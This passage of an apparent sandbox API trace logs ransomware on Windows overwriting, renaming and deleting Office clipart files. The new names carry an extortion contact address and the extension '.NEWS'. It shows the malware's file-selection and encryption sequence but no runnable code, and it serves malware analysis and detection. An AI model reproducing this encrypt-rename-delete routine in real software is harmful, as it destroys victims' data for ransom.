(lpString1=".pdf", lpString2=".GIF") returned 1 [0073.945] lstrlenW (lpString=".xls") returned 4 [0073.945] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.945] lstrlenW (lpString=".xlsx") returned 5 [0073.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.945] lstrlenW (lpString=".ppt") returned 4 [0073.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.946] lstrlenW (lpString=".zip") returned 4 [0073.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.946] lstrlenW (lpString=".rar") returned 4 [0073.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.946] lstrlenW (lpString=".bz2") returned 4 [0073.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.946] lstrlenW (lpString=".7z") returned 3 [0073.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.946] lstrlenW (lpString=".dbf") returned 4 [0073.946] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.946] lstrlenW (lpString=".1cd") returned 4 [0073.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.946] lstrlenW (lpString=".jpg") returned 4 [0073.946] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.946] lstrlenW (lpString=".doc") returned 4 [0073.946] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.946] lstrlenW (lpString=".docx") returned 5 [0073.946] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.946] lstrlenW (lpString=".pdf") returned 4 [0073.946] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.946] lstrlenW (lpString=".xls") returned 4 [0073.946] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.946] lstrlenW (lpString=".xlsx") returned 5 [0073.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.946] lstrlenW (lpString=".ppt") returned 4 [0073.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.947] lstrlenW (lpString=".zip") returned 4 [0073.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.947] lstrlenW (lpString=".rar") returned 4 [0073.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.947] lstrlenW (lpString=".bz2") returned 4 [0073.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.947] lstrlenW (lpString=".7z") returned 3 [0073.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.947] lstrlenW (lpString=".dbf") returned 4 [0073.947] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.947] lstrlenW (lpString=".1cd") returned 4 [0073.947] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0073.947] lstrlenW (lpString=".jpg") returned 4 [0073.947] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.947] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.947] lstrlenW (lpString="AG00057_.GIF") returned 12 [0073.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.948] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=11891) returned 1 [0073.948] CloseHandle (hObject=0x350) returned 1 [0073.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0073.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.948] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.948] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.949] GetLastError () returned 0x0 [0073.949] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2e73, lpOverlapped=0x0) returned 1 [0073.950] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0073.951] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.951] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.951] SetEndOfFile (hFile=0x384) returned 1 [0073.952] CloseHandle (hObject=0x384) returned 1 [0073.952] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.952] SetEndOfFile (hFile=0x350) returned 1 [0073.953] CloseHandle (hObject=0x350) returned 1 [0073.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0073.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.954] lstrlenW (lpString=".doc") returned 4 [0073.954] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.954] lstrlenW (lpString=".docx") returned 5 [0073.954] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.954] lstrlenW (lpString=".pdf") returned 4 [0073.954] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.954] lstrlenW (lpString=".xls") returned 4 [0073.954] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.954] lstrlenW (lpString=".xlsx") returned 5 [0073.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.954] lstrlenW (lpString=".ppt") returned 4 [0073.954] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.954] lstrlenW (lpString=".zip") returned 4 [0073.954] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.954] lstrlenW (lpString=".rar") returned 4 [0073.954] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.954] lstrlenW (lpString=".bz2") returned 4 [0073.954] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.954] lstrlenW (lpString=".7z") returned 3 [0073.954] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.955] lstrlenW (lpString=".dbf") returned 4 [0073.955] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.955] lstrlenW (lpString=".1cd") returned 4 [0073.955] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.955] lstrlenW (lpString=".jpg") returned 4 [0073.955] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.955] lstrlenW (lpString=".doc") returned 4 [0073.955] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.955] lstrlenW (lpString=".docx") returned 5 [0073.955] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.955] lstrlenW (lpString=".pdf") returned 4 [0073.955] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.955] lstrlenW (lpString=".xls") returned 4 [0073.955] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.955] lstrlenW (lpString=".xlsx") returned 5 [0073.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.955] lstrlenW (lpString=".ppt") returned 4 [0073.955] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.955] lstrlenW (lpString=".zip") returned 4 [0073.955] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.955] lstrlenW (lpString=".rar") returned 4 [0073.955] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.955] lstrlenW (lpString=".bz2") returned 4 [0073.955] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.955] lstrlenW (lpString=".7z") returned 3 [0073.955] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.955] lstrlenW (lpString=".dbf") returned 4 [0073.955] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.956] lstrlenW (lpString=".1cd") returned 4 [0073.956] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0073.956] lstrlenW (lpString=".jpg") returned 4 [0073.956] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.956] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.956] lstrlenW (lpString="AG00090_.GIF") returned 12 [0073.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.957] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=517) returned 1 [0073.957] CloseHandle (hObject=0x350) returned 1 [0073.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0073.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.958] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.958] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.958] GetLastError () returned 0x0 [0073.958] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x205, lpOverlapped=0x0) returned 1 [0073.959] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x210, lpOverlapped=0x0) returned 1 [0073.960] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.961] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.961] SetEndOfFile (hFile=0x384) returned 1 [0073.961] CloseHandle (hObject=0x384) returned 1 [0073.962] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.962] SetEndOfFile (hFile=0x350) returned 1 [0073.962] CloseHandle (hObject=0x350) returned 1 [0073.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0073.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.963] lstrlenW (lpString=".doc") returned 4 [0073.963] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.963] lstrlenW (lpString=".docx") returned 5 [0073.963] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.963] lstrlenW (lpString=".pdf") returned 4 [0073.963] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.963] lstrlenW (lpString=".xls") returned 4 [0073.963] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.963] lstrlenW (lpString=".xlsx") returned 5 [0073.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.963] lstrlenW (lpString=".ppt") returned 4 [0073.963] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.963] lstrlenW (lpString=".zip") returned 4 [0073.963] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.963] lstrlenW (lpString=".rar") returned 4 [0073.964] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.964] lstrlenW (lpString=".bz2") returned 4 [0073.964] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.964] lstrlenW (lpString=".7z") returned 3 [0073.964] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.964] lstrlenW (lpString=".dbf") returned 4 [0073.964] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.964] lstrlenW (lpString=".1cd") returned 4 [0073.964] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.964] lstrlenW (lpString=".jpg") returned 4 [0073.964] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.964] lstrlenW (lpString=".doc") returned 4 [0073.964] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.964] lstrlenW (lpString=".docx") returned 5 [0073.964] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.964] lstrlenW (lpString=".pdf") returned 4 [0073.964] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.964] lstrlenW (lpString=".xls") returned 4 [0073.964] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.964] lstrlenW (lpString=".xlsx") returned 5 [0073.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.964] lstrlenW (lpString=".ppt") returned 4 [0073.964] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.964] lstrlenW (lpString=".zip") returned 4 [0073.964] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.964] lstrlenW (lpString=".rar") returned 4 [0073.964] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.964] lstrlenW (lpString=".bz2") returned 4 [0073.965] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.965] lstrlenW (lpString=".7z") returned 3 [0073.965] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.965] lstrlenW (lpString=".dbf") returned 4 [0073.965] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.965] lstrlenW (lpString=".1cd") returned 4 [0073.965] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0073.965] lstrlenW (lpString=".jpg") returned 4 [0073.965] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.965] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.965] lstrlenW (lpString="AG00092_.GIF") returned 12 [0073.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.965] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=502) returned 1 [0073.965] CloseHandle (hObject=0x350) returned 1 [0073.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0073.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.966] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.966] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.966] GetLastError () returned 0x0 [0073.966] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1f6, lpOverlapped=0x0) returned 1 [0074.394] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x200, lpOverlapped=0x0) returned 1 [0074.395] ReadFile (in: hFile=0x350, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.395] WriteFile (in: hFile=0x384, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.395] SetEndOfFile (hFile=0x384) returned 1 [0074.396] CloseHandle (hObject=0x384) returned 1 [0074.396] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.396] SetEndOfFile (hFile=0x350) returned 1 [0074.397] CloseHandle (hObject=0x350) returned 1 [0074.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0074.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0074.398] lstrlenW (lpString=".doc") returned 4 [0074.398] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.398] lstrlenW (lpString=".docx") returned 5 [0074.398] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.398] lstrlenW (lpString=".pdf") returned 4 [0074.398] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.398] lstrlenW (lpString=".xls") returned 4 [0074.398] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.398] lstrlenW (lpString=".xlsx") returned 5 [0074.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.398] lstrlenW (lpString=".ppt") returned 4 [0074.398] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.398] lstrlenW (lpString="C:\\Program Files\\Microsoft 